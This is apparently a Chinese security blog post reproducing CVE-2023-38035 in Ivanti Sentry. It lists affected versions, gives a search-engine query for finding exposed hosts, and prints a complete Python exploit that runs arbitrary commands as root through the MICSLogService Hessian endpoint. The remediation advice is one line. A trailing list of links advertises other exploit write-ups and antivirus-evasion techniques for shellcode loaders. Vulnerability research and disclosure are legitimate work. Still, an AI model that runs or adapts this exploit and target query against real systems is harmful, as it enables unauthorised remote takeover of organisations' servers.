0x01 前言

0x02 影响平台

Ivanti Sentry 9.18、9.17、9.16、9.15及以下

0x03 漏洞复现

title="MobileIron System Manager"body="Requires a local Sentry administrative user"

/mics/services/MICSLogService

https://github.com/horizon3ai/CVE-2023-38035
from pyhessian.client import HessianProxyfrom http.client import HTTPSConnectionimport sslimport sysimport argparseimport requestsimport urllib3urllib3.disable_warnings()

# Backup original constructor_original_https_init = HTTPSConnection.__init__
def patched_https_init(self, *args, **kwargs):    # If context is not provided, use unverified context    if 'context' not in kwargs:        kwargs['context'] = ssl._create_unverified_context()    _original_https_init(self, *args, **kwargs)

def exploit(base_url, command):    # Define the Hessian service endpoint    service_url = f"{base_url}/mics/services/MICSLogService"        r = requests.get(service_url, verify=False)    if r.status_code != 405:        print('[-] Vulnerable endpoint was not reachable - bailing')        sys.exit()
    # Monkey-patch the constructor    HTTPSConnection.__init__ = patched_https_init        dto = {        "command": command,        "isRoot": True,    }        # Create a Hessian proxy for the service    proxy = HessianProxy(service_url)        # Call a method on the Hessian service:    details = proxy.uploadFileUsingFileInput(dto, None)    if details:        print('[+] Successfully executed command on target!')
if __name__ == "__main__":    parser = argparse.ArgumentParser()    parser.add_argument('-u', '--url', help='The URL of the target', required=True)    parser.add_argument('-c', '--cmd', help='The command to run', required=True)    args = parser.parse_args()
    exploit(args.url, args.cmd)

0x04 修复方案

建议及时更新至最新版本！

【内网渗透】内网信息收集命令汇总

【内网渗透】域内信息收集命令汇总

【超详细 | Python】CS免杀-Shellcode Loader原理(python)

【超详细 | Python】CS免杀-分离+混淆免杀思路

【超详细 | 钟馗之眼】ZoomEye-python命令行的使用

【超详细 | 附EXP】Weblogic CVE-2021-2394 RCE漏洞复现

【超详细】CVE-2020-14882 | Weblogic未授权命令执行漏洞复现

【超详细 | 附PoC】CVE-2021-2109 | Weblogic Server远程代码执行漏洞复现

【漏洞分析 | 附EXP】CVE-2021-21985 VMware vCenter Server 远程代码执行漏洞

【CNVD-2021-30167 | 附PoC】用友NC BeanShell远程代码执行漏洞复现

【奇淫巧技】如何成为一个合格的“FOFA”工程师

【超详细】Microsoft Exchange 远程代码执行漏洞复现【CVE-2020-17144】

【超详细】Fastjson1.2.24反序列化漏洞复现

  记一次HW实战笔记 | 艰难的提权爬坑